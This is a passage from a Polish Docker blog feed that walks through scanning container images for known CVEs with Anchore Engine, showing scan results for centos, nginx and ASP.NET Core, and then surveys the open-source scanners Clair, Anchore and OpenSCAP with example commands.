             Name                            Command                       State                   Ports
-----------------------------------------------------------------------------------------------------------------
aevolume_anchore-db_1             docker-entrypoint.sh postgres    Up                      5432/tcp
aevolume_engine-analyzer_1        /docker-entrypoint.sh anch ...   Up (health: starting)   8228/tcp
aevolume_engine-api_1             /docker-entrypoint.sh anch ...   Up (health: starting)   0.0.0.0:8228->8228/tcp
aevolume_engine-catalog_1         /docker-entrypoint.sh anch ...   Up (health: starting)   8228/tcp
aevolume_engine-policy-engine_1   /docker-entrypoint.sh anch ...   Up (health: starting)   8228/tcp
aevolume_engine-simpleq_1         /docker-entrypoint.sh anch ...   Up (health: starting)   8228/tcp

Sprawdź status Anchore Engine za pomocą następującego polecenia:

$ docker-compose exec engine-api anchore-cli system status

Service analyzer (anchore-quickstart, http://engine-analyzer:8228): up
Service simplequeue (anchore-quickstart, http://engine-simpleq:8228): up
Service policy_engine (anchore-quickstart, http://engine-policy-engine:8228): up
Service catalog (anchore-quickstart, http://engine-catalog:8228): up
Service apiext (anchore-quickstart, http://engine-api:8228): up

Engine DB Version: 0.0.12
Engine Code Version: 0.6.1

I teraz ważna kwestia. Po mimo, że Anchore wystartował poprawnie, podczas pierwszego uruchomienia aktualizuje on bazę danych CVE. Zanim zaczniesz skanowanie obrazów, upewnij się ze cała baza danych została zsynchronizowana.

$ docker-compose exec engine-api anchore-cli system feeds list


Feed               Group           LastSync                      RecordCount
nvdv2              nvdv2:cves      pending                       0
vulnerabilities    alpine:3.10     2020-02-03T05:52:16.614182    1725
vulnerabilities    alpine:3.3      2020-02-03T05:52:44.576739    457
vulnerabilities    alpine:3.4      2020-02-03T05:52:52.426065    681
vulnerabilities    alpine:3.5      2020-02-03T05:53:04.347937    875
vulnerabilities    alpine:3.6      2020-02-03T05:53:19.113143    1051
vulnerabilities    alpine:3.7      2020-02-03T05:54:37.856837    1395
vulnerabilities    alpine:3.8      2020-02-03T05:55:02.512212    1486
vulnerabilities    alpine:3.9      2020-02-03T05:55:30.023154    1558
vulnerabilities    amzn:2          2020-02-03T05:56:00.192895    299
vulnerabilities    centos:5        pending                       1000
vulnerabilities    centos:6        pending                       0
vulnerabilities    centos:7        pending                       0
vulnerabilities    centos:8        pending                       0
vulnerabilities    debian:10       pending                       0
vulnerabilities    debian:11       pending                       0
vulnerabilities    debian:7        pending                       0
vulnerabilities    debian:8        pending                       0

Twoja instancja Anchore będzie w pełni gotowa, gdy wszystkie wartości w kolumnie RecordCount będą większe od 0.


Skanowanie obrazu Centos:7

Aby przeskanować dowolny obraz przy użyciu Anchore, wykorzystamy anchore-cli. Pierwszym krokiem jest pobranie obrazu przez Anchore-Engine. W naszym przypadku będzie to Centos:7.

$ docker-compose exec engine-api anchore-cli \
    image add docker.io/library/centos:7

Co ważne, pobieranie z Docker Hub zostanie zainicjalizowane w tle. Aby sprawdzić, czy obraz jest już gotowy do skanowania, skorzystaj z polecenia:

$ docker-compose exec engine-api anchore-cli \
    image wait docker.io/library/centos:7

Anchore umożliwia weryfikacje zainstalowanych pakietów oraz modułów. Służy do tego następujące polecenie:

$  docker-compose exec engine-api anchore-cli \
     image content docker.io/library/centos:7

os: available
files: available
npm: available
gem: available
python: available
java: available

Wreszcie nadchodzi wyczekiwane skanowanie.

$  docker-compose exec engine-api anchore-cli \
     image vuln docker.io/library/centos:7 all

I co? Jaki jest jego rezultat? Zżera cię ciekwość? Więc proszę – oto wyniki skanowania obrazu centos:7

Vulnerability ID   Package                          Severity   Fix                   Vulnerability URL
RHSA-2019:4190     nss-3.44.0-4.el7                 High       0:3.44.0-7.el7_7      https://access.redhat.com/errata/RHSA-2019:4190
RHSA-2019:4190     nss-softokn-3.44.0-5.el7         High       0:3.44.0-8.el7_7      https://access.redhat.com/errata/RHSA-2019:4190
RHSA-2019:4190     nss-softokn-freebl-3.44.0-5.el7  High       0:3.44.0-8.el7_7      https://access.redhat.com/errata/RHSA-2019:4190
RHSA-2019:4190     nss-sysinit-3.44.0-4.el7         High       0:3.44.0-7.el7_7      https://access.redhat.com/errata/RHSA-2019:4190
RHSA-2019:4190     nss-tools-3.44.0-4.el7           High       0:3.44.0-7.el7_7      https://access.redhat.com/errata/RHSA-2019:4190
RHSA-2019:4190     nss-util-3.44.0-3.el7            High       0:3.44.0-4.el7_7      https://access.redhat.com/errata/RHSA-2019:4190
RHSA-2020:0227     sqlite-3.7.17-8.el7              High       0:3.7.17-8.el7_7.1    https://access.redhat.com/errata/RHSA-2020:0227

W obrazie centos:7, Anchore wykrył aż 7 podatności oznaczonych wysokim ryzykiem! A przecież jest to obraz pochodzący z sprawdzonego i oficjalnego źródła – Docker Hub’a.


Skanowanie obrazu Nginx

Na tapetę weźmiemy obraz nginx w wersji 1.17.8 (najbardziej aktualny w czasie pisania tego artykułu).

Postępujemy analogicznie jak w przypadku obrazu centos. Najpierw przy wykorzystaniu polecenia add, pobieramy obraz z Docker Huba i czekamy aż obraz zostanie pobrany przez Anchore.

$ docker-compose exec engine-api anchore-cli \
    image add docker.io/library/nginx:1.17.8
$ docker-compose exec engine-api anchore-cli \
    image wait docker.io/library/nginx:1.17.8

Gdy obraz jest gotowy – skanujemy całość poleceniem:

$  docker-compose exec engine-api anchore-cli \
     image vuln docker.io/library/nginx:1.17.8 all

I co otrzymujemy? 🙂

Vulnerability ID        Package                                   Severity          Fix                    CVE Refs        Vulnerability URL
CVE-2005-2541           tar-1.30+dfsg-6                           Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2005-2541
CVE-2007-5686           login-1:4.5-1.1                           Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2007-5686
CVE-2007-5686           passwd-1:4.5-1.1                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2007-5686
CVE-2007-6755           libssl1.1-1.1.1d-0+deb10u2                Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2007-6755
CVE-2009-4487           nginx-1.17.8-1~buster                     Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2009-4487
CVE-2010-0928           libssl1.1-1.1.1d-0+deb10u2                Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-0928
CVE-2010-4051           libc-bin-2.28-10                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4051
CVE-2010-4051           libc6-2.28-10                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4051
CVE-2010-4052           libc-bin-2.28-10                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4052
CVE-2010-4052           libc6-2.28-10                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4052
CVE-2010-4756           libc-bin-2.28-10                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4756
CVE-2010-4756           libc6-2.28-10                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4756
CVE-2011-3374           apt-1.8.2                                 Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2011-3374
CVE-2011-3374           libapt-pkg5.0-1.8.2                       Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2011-3374
CVE-2011-3389           libgnutls30-3.6.7-4                       Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2011-3389
CVE-2011-4116           perl-base-5.28.1-6                        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2011-4116
CVE-2013-0340           libexpat1-2.2.6-2+deb10u1                 Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2013-0340
CVE-2013-4235           login-1:4.5-1.1                           Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2013-4235
CVE-2013-4235           passwd-1:4.5-1.1                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2013-4235
CVE-2013-4392           libsystemd0-241-7~deb10u2                 Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2013-4392
CVE-2013-4392           libudev1-241-7~deb10u2                    Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2013-4392
CVE-2014-8130           libtiff5-4.1.0+git191117-2~deb10u1        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2014-8130
CVE-2015-9019           libxslt1.1-1.1.32-2.2~deb10u1             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2015-9019
CVE-2016-9085           libwebp6-0.6.1-2                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2016-9085
CVE-2017-11164          libpcre3-2:8.39-12                        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-11164
CVE-2017-15232          libjpeg62-turbo-1:1.5.2-2+b1              Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-15232
CVE-2017-16231          libpcre3-2:8.39-12                        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-16231
CVE-2017-16232          libtiff5-4.1.0+git191117-2~deb10u1        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-16232
CVE-2017-17973          libtiff5-4.1.0+git191117-2~deb10u1        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-17973
CVE-2017-18018          coreutils-8.30-3                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-18018
CVE-2017-5563           libtiff5-4.1.0+git191117-2~deb10u1        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-5563
CVE-2017-7245           libpcre3-2:8.39-12                        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-7245
CVE-2017-7246           libpcre3-2:8.39-12                        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-7246
CVE-2017-9117           libtiff5-4.1.0+git191117-2~deb10u1        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-9117
CVE-2017-9937           libjbig0-2.1-3.1+b2                       Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-9937
CVE-2018-1000654        libtasn1-6-4.13-3                         Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-1000654
CVE-2018-10126          libtiff5-4.1.0+git191117-2~deb10u1        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-10126
CVE-2018-14048          libpng16-16-1.6.36-6                      Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-14048
CVE-2018-14550          libpng16-16-1.6.36-6                      Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-14550
CVE-2018-20796          libc-bin-2.28-10                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-20796
CVE-2018-20796          libc6-2.28-10                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-20796
CVE-2018-6829           libgcrypt20-1.8.4-5                       Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-6829
CVE-2019-1010022        libc-bin-2.28-10                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010022
CVE-2019-1010022        libc6-2.28-10                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010022
CVE-2019-1010023        libc-bin-2.28-10                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010023
CVE-2019-1010023        libc6-2.28-10                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010023
CVE-2019-1010024        libc-bin-2.28-10                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010024
CVE-2019-1010024        libc6-2.28-10                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010024
CVE-2019-1010025        libc-bin-2.28-10                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010025
CVE-2019-1010025        libc6-2.28-10                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010025
CVE-2019-19882          login-1:4.5-1.1                           Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-19882
CVE-2019-19882          passwd-1:4.5-1.1                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-19882
CVE-2019-6129           libpng16-16-1.6.36-6                      Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-6129
CVE-2019-9192           libc-bin-2.28-10                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-9192
CVE-2019-9192           libc6-2.28-10                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-9192
CVE-2019-9893           libseccomp2-2.3.3-4                       Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-9893
CVE-2019-9923           tar-1.30+dfsg-6                           Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-9923
CVE-2019-18224          libidn2-0-2.0.5-1                         Unknown           2.0.5-1+deb10u1                        https://security-tracker.debian.org/tracker/CVE-2019-18224
CVE-2019-20388          libxml2-2.9.4+dfsg1-7+b3                  Unknown           None                                   https://security-tracker.debian.org/tracker/CVE-2019-20388
CVE-2020-7595           libxml2-2.9.4+dfsg1-7+b3                  Unknown           None                                   https://security-tracker.debian.org/tracker/CVE-2020-7595

Dużo tego – przyznaję, że nie liczyłem ile wpisów wykrył nam Anchore. Na szczęście wszystkie wykryte wpisy są w statusie „Nieistotne” lub „Nieznane”.

Skanowanie na mojej maszynie zajęło mniej niż 3 sekundy, co również dobrze świadczy o Anchore.

Skanowanie obrazu ASP NET Core

Posłużymy się najnowszym wydaniem (na czas pisania tego artykułu) obrazu ASP NET Core w wersji 3.1. Będziemy postępować analogicznie jak w przypadku centos i nginx. W skrócie – pobieramy obraz, upewniamy się że obraz został pobrany, skanujemy.

$ docker-compose exec engine-api anchore-cli \
    image add mcr.microsoft.com/dotnet/core/aspnet:3.1
$ docker-compose exec engine-api anchore-cli \
    image wait mcr.microsoft.com/dotnet/core/aspnet:3.1

Gdy obraz będzie gotowy – skanujemy 🙂

$  docker-compose exec engine-api anchore-cli \
     image vuln mcr.microsoft.com/dotnet/core/aspnet:3.1 all

Jako że jest to bliska mi technologia, sam byłem bardzo ciekawy rezultatów.

Sięgając pamięcią wstecz, przypominam sobie, że w oficjalnym obrazie ASP NET Core 2.2 było wiele podatności o wysokim ryzyku, które musiałem ręcznie „fixować”.
Na szczęście w wersji 3.1 – bynajmniej Anchore, nie wykrywa żadnych podatności o wysokim ryzyku.

Tak jak w przypadku nginx, wykryte zostały tylko „Nieistotne” oraz „Nieznane”.

Vulnerability ID        Package                                     Severity          Fix                    CVE Refs        Vulnerability URL
CVE-2004-0971           libgssapi-krb5-2-1.17-3                     Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2004-0971
CVE-2004-0971           libk5crypto3-1.17-3                         Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2004-0971
CVE-2004-0971           libkrb5-3-1.17-3                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2004-0971
CVE-2004-0971           libkrb5support0-1.17-3                      Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2004-0971
CVE-2005-2541           tar-1.30+dfsg-6                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2005-2541
CVE-2007-5686           login-1:4.5-1.1                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2007-5686
CVE-2007-5686           passwd-1:4.5-1.1                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2007-5686
CVE-2007-6755           libssl1.1-1.1.1d-0+deb10u2                  Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2007-6755
CVE-2007-6755           openssl-1.1.1d-0+deb10u2                    Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2007-6755
CVE-2010-0928           libssl1.1-1.1.1d-0+deb10u2                  Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-0928
CVE-2010-0928           openssl-1.1.1d-0+deb10u2                    Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-0928
CVE-2010-4051           libc-bin-2.28-10                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4051
CVE-2010-4051           libc6-2.28-10                               Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4051
CVE-2010-4052           libc-bin-2.28-10                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4052
CVE-2010-4052           libc6-2.28-10                               Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4052
CVE-2010-4756           libc-bin-2.28-10                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4756
CVE-2010-4756           libc6-2.28-10                               Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2010-4756
CVE-2011-3374           apt-1.8.2                                   Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2011-3374
CVE-2011-3374           libapt-pkg5.0-1.8.2                         Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2011-3374
CVE-2011-3389           libgnutls30-3.6.7-4                         Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2011-3389
CVE-2011-4116           perl-base-5.28.1-6                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2011-4116
CVE-2013-4235           login-1:4.5-1.1                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2013-4235
CVE-2013-4235           passwd-1:4.5-1.1                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2013-4235
CVE-2013-4392           libsystemd0-241-7~deb10u2                   Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2013-4392
CVE-2013-4392           libudev1-241-7~deb10u2                      Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2013-4392
CVE-2015-3276           libldap-2.4-2-2.4.47+dfsg-3+deb10u1         Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2015-3276
CVE-2015-3276           libldap-common-2.4.47+dfsg-3+deb10u1        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2015-3276
CVE-2017-11164          libpcre3-2:8.39-12                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-11164
CVE-2017-14159          libldap-2.4-2-2.4.47+dfsg-3+deb10u1         Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-14159
CVE-2017-14159          libldap-common-2.4.47+dfsg-3+deb10u1        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-14159
CVE-2017-16231          libpcre3-2:8.39-12                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-16231
CVE-2017-17740          libldap-2.4-2-2.4.47+dfsg-3+deb10u1         Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-17740
CVE-2017-17740          libldap-common-2.4.47+dfsg-3+deb10u1        Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-17740
CVE-2017-18018          coreutils-8.30-3                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-18018
CVE-2017-7245           libpcre3-2:8.39-12                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-7245
CVE-2017-7246           libpcre3-2:8.39-12                          Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2017-7246
CVE-2018-1000654        libtasn1-6-4.13-3                           Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-1000654
CVE-2018-20796          libc-bin-2.28-10                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-20796
CVE-2018-20796          libc6-2.28-10                               Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-20796
CVE-2018-5709           libgssapi-krb5-2-1.17-3                     Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-5709
CVE-2018-5709           libk5crypto3-1.17-3                         Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-5709
CVE-2018-5709           libkrb5-3-1.17-3                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-5709
CVE-2018-5709           libkrb5support0-1.17-3                      Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-5709
CVE-2018-6829           libgcrypt20-1.8.4-5                         Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2018-6829
CVE-2019-1010022        libc-bin-2.28-10                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010022
CVE-2019-1010022        libc6-2.28-10                               Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010022
CVE-2019-1010023        libc-bin-2.28-10                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010023
CVE-2019-1010023        libc6-2.28-10                               Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010023
CVE-2019-1010024        libc-bin-2.28-10                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010024
CVE-2019-1010024        libc6-2.28-10                               Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010024
CVE-2019-1010025        libc-bin-2.28-10                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010025
CVE-2019-1010025        libc6-2.28-10                               Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-1010025
CVE-2019-19882          login-1:4.5-1.1                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-19882
CVE-2019-19882          passwd-1:4.5-1.1                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-19882
CVE-2019-9192           libc-bin-2.28-10                            Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-9192
CVE-2019-9192           libc6-2.28-10                               Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-9192
CVE-2019-9893           libseccomp2-2.3.3-4                         Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-9893
CVE-2019-9923           tar-1.30+dfsg-6                             Negligible        None                                   https://security-tracker.debian.org/tracker/CVE-2019-9923
CVE-2019-18224          libidn2-0-2.0.5-1                           Unknown           2.0.5-1+deb10u1                        https://security-tracker.debian.org/tracker/CVE-2019-18224
CVE-2019-5481           curl-7.64.0-4                               Unknown           None                                   https://security-tracker.debian.org/tracker/CVE-2019-5481
CVE-2019-5481           libcurl4-7.64.0-4                           Unknown           None                                   https://security-tracker.debian.org/tracker/CVE-2019-5481
CVE-2019-5482           curl-7.64.0-4                               Unknown           None                                   https://security-tracker.debian.org/tracker/CVE-2019-5482
CVE-2019-5482           libcurl4-7.64.0-4                           Unknown           None                                   https://security-tracker.debian.org/tracker/CVE-2019-5482

Podsumowanie

Zachęcam Cię mocno do weryfikacji Twoich obrazów pod kątem bezpieczeństwa. Pamiętaj, że tworząc Dockerfile, w 90% przypadków korzystamy z polecenia FROM i wywołujemy obraz bazowy, który może mieć podatności. Te podatności przejdą bezpośrednio na Twój finalny obraz. Jeżeli będzie to obraz wykorzystywany do celów developerskich – nie będzie to aż tak groźne. Ryzyko pojawi się, gdy wdrożysz obraz z podatnościami na produkcję.

Polecam wprowadzenie nawyku skanowania obrazów. Niekoniecznie musi to być narzędzie Anchore.

PS. Jeżeli znasz jakieś inne ciekawe narzędzie, koniecznie podziel się nim w komentarzu!

Artykuł Skanowanie obrazów Dockerowych pod kątem bezpieczeństwa z Anchore pochodzi z serwisu Szkoła Dockera.

]]>
https://szkoladockera.pl/skanowanie-obrazow-dockerowych-pod-katem-bezpieczenstwa-z-anchore/feed/ 0
Top 3 Narzędzia Open-Source Do Wykrywania Podatności w Dockerze https://szkoladockera.pl/top-3-narzedzia-open-source-do-wykrywania-podatnosci-w-dockerze/ https://szkoladockera.pl/top-3-narzedzia-open-source-do-wykrywania-podatnosci-w-dockerze/#respond Sat, 28 Dec 2019 08:24:18 +0000 https://szkoladockera.pl/?p=727 Stworzyłeś plik Dockerfile, przetestowałeś swój kontener lokalnie, czekasz aż przejdzie przez CI/CD. Ostatecznie kontener „śmiga” na PRE-PROD, testy integracyjne przeszły, a testerzy manualni nie zgłaszają żadnych uwag. I co teraz? Upragniony deploy na PROD-a 🙂 Nie tak szybko. Dziedziczenie warstw Ogólnie mówiąc, każdy plik lub artefakt dodany w Dockerfile powoduje Dowiedz się więcej

Artykuł Top 3 Narzędzia Open-Source Do Wykrywania Podatności w Dockerze pochodzi z serwisu Szkoła Dockera.

]]>

Stworzyłeś plik Dockerfile, przetestowałeś swój kontener lokalnie, czekasz aż przejdzie przez CI/CD. Ostatecznie kontener „śmiga” na PRE-PROD, testy integracyjne przeszły, a testerzy manualni nie zgłaszają żadnych uwag.

I co teraz? Upragniony deploy na PROD-a 🙂 Nie tak szybko.


Dziedziczenie warstw

Ogólnie mówiąc, każdy plik lub artefakt dodany w Dockerfile powoduje utworzenie kolejnych warstw obrazu.

Ta sama zasada obowiązuje podczas tworzenia Dockerfile. W większości przypadków korzystamy z obrazów bazowych, używając dyrektywy „FROM”. Twój końcowy obraz będzie zawierał skondensowane warstwy obrazu bazowego oraz warstwy utworzone na podstawie Twojego Dockerfile.

A co gdy twój obraz bazowy używa innego obrazu bazowego, który jako obraz bazowy korzysta z oficjalnego obrazu np. Ubuntu? Spójrz na poniższy obrazek.

Mam nadzieję, że rozumiesz do czego to zmierza?

Finalnie Twój obraz może dziedziczyć wiele warstw zawierających pliki wykonywalne, o których nigdy nie wiedziałeś.

Co gdy w którejś z warstw obrazu bazowego występuje podatność bezpieczeństwa (ang. security vulnerability)? Jak sobie z tym poradzić?


Co to jest CVE?

CVE czyli Common Vulnerabilities and Exposures standard skupiający listę publicznie dostępnych i już wcześniej zidentyfikowanych podatności bezpieczeństwa.

I nie chodzi tutaj tylko o podatności dotyczące Dockera 🙂 Po więcej szczegółów odsyłam na oficjalną stronę CVE.

To tyle tytułem wstępu – przechodzimy do narzędzi!

1. Clair

„Clair is an open source project for the static analysis of vulnerabilities in appc and docker containers.”

Clair został stworzony przez firmę CoreOS. Jest statycznym analizatorem podatności. Jest on wykorzystywany min. w Quay.io, publicznym Docker Registry, które jest alternatywą dla Docker Hub.

Clair == REST API

Clair sam sobie nie posiada interfejsu UI ani CLI. Jedyna opcja komunikacji to REST API. Istnieją jednak dodatkowe rozszerzenia takie jak np. Klar, który wprowadza komunikację z Clairem za pomocą CLI.

Clair ma obszerną bazę danych która jest pobierana min. z źródeł (CVE) takich jak:

  • Debian Security Bug Tracker,
  • Ubuntu CVE Tracker
  • Red Hat Security Data.

Z związku z tym, że Clair korzysta z tak wielu baz danych, jego audyt jest dość obszerny.

Clair może być zintegrowany z pipelinem CI/CD. W momencie gdy tworzony jest Docker image, kolejnym krokiem może być uruchmienie Clair’a i wykonanie skanowania na nowo utworzonym Docker image.

Clair – real case

Osobiście, jakiś czas temu w procesie CI / CD korzystałem z Clair’a oraz plugina Klar. Jako, że Clair opiera się o REST API, obraz po zbudowaniu był publikowany do Docker Registry. W tym celu zostało utworzone repozytorium do którego trafiały obrazy „do skanowania”. Oprócz tego, gdy wszystkie kroki z procesu CI / CD (w tym skanowanie obrazu) przeszły pomyślnie, obraz został dodawany do oddzielnego, „produkcyjnego” Docker Registry.

Krokiem w procesie CI / CD było uruchomienie następującego skryptu z parametrami. Tak wyglądał cały skrypt.

#!/bin/bash

export DOCKER_USER=$1
export DOCKER_PASSWORD=$2

export CLAIR_ADDR=$3
export CLAIR_OUTPUT=$4
export CLAIR_THRESHOLD=$5

klar $6:$7

Parametr $1 oraz $2 to odpowiednio użytkownik oraz hasło do Docker Registry. Parametry $3, $4 oraz $5 dotyczą konfiguracji Claira. Parametr $6 oznacza nazwę obrazu (wraz z registry), a parametr $7 tag obrazu.

Przykładowo gdy jako parametr $6 przekażemy „dnaprawaregistry.azurecr.io/hello-world” a jako parametr $7 „v1”, polecenie wyglądałoby następująco.

$ klar dnaprawaregistry.azurecr.io/hello-world:v1

Pomimo, że proces działał, przyznam szczerze, że teraz zrobiłbym to zupełnie inaczej 🙂

Clair jest bardzo elastyczny pod kątem konfiguracji i integracji z innymi narzędziami. Aby umożliwić developerom rozszerzanie funckjonalności Clair’a, zostały wprowadzone driver’y. Implementacja własnego drivera nie powinna sprawić problemu programistom, którzy mieli styczność z językiem Go.


2. Anchore

„A tool for inspecting container security using CVE data and user-defined policies „

Anchore Engine oprócz możliwości skanowania obrazu pod kątem podatności posiada możliwość dodania własnych polityk bezpieczeństwa (user-defined policy). Podobnie jak Clair, Anchore korzysta z zewnętrznych źródeł (CVE) do pobierania podatności. Dzięki temu, podczas skanowania obrazów otrzymujemy całkiem niezłe rezultaty.

Oczywiście Anchore może być zintegrowany z istniejącym już procesem CI / CD. Co ważne, istnieje plugin do integracji Anchore dla Jenkinsa.

W wersji open-source, Anchore może być używany za pomocą RESTful API oraz Anchore CLI. Istnieje Anchore UI, jednak jest on częścią Anchore Enterprise, która jak można się domyślić na podstawie słówka 'Enterprise’ jest płatna.

Anchore został spakowany i udostępniony jako Docker image, dzięki czemu może zostać użyty na wielu środowiskach developerskich, czy to jako dockerowy kontener lub bardziej rozbudowanej platformy opartej o Kubernetes.

Dzięki Anchore CLI za pomocą jednej komendy jesteśmy w stanie przeskanować dowolny obraz. Przykładowo będzie to moje ulubione – ubuntu :).

$ anchore-cli image vuln docker.io/library/ubuntu:latest os


3. OpenSCAP

„An environment for creating and maintaining security policies for various platforms”

OpenSCAP nie jest tylko narzędziem do skanowania obrazów dockerowych.

OpenSCAP można określić jako ekosystem przeznaczony dla administratorów oraz specjalistów ds. bezpieczeństwa, zawierający zbiór predefiniowanych polityk bezpieczeństwa, metryk, baz danych CVE oraz narzędzi open-source.

Jednym z narzędzi, jest oscap-docker CLI, służący do skanowania obrazów Dockera pod kątem podatności.

Narzędzie to oprócz skanowania CVE, pozwala również na tworzenia własnych polityk bezpieczeństwa.

Przykładowo, aby przeskanować obraz rhel7 należy użyć następującej komendy:

$ oscap-docker image-cve rhel7

OpenSCAP w 2014 roku został nagrodzony przez NIST (National Institute of Standards and Technology) certyfikatem Security Content Automation Protocol (SCAP).

Ponieważ OpenSCAP jest czymś „większym” niż pozostałe wspomniane w artykule narzędzie, może być dobrym wyborem w przypadku implementacji polityk bezpieczeństwa nie tylko kwestii Dockera, ale dla całego zarządzanego przez nas ekosystemu.


Podsumowanie

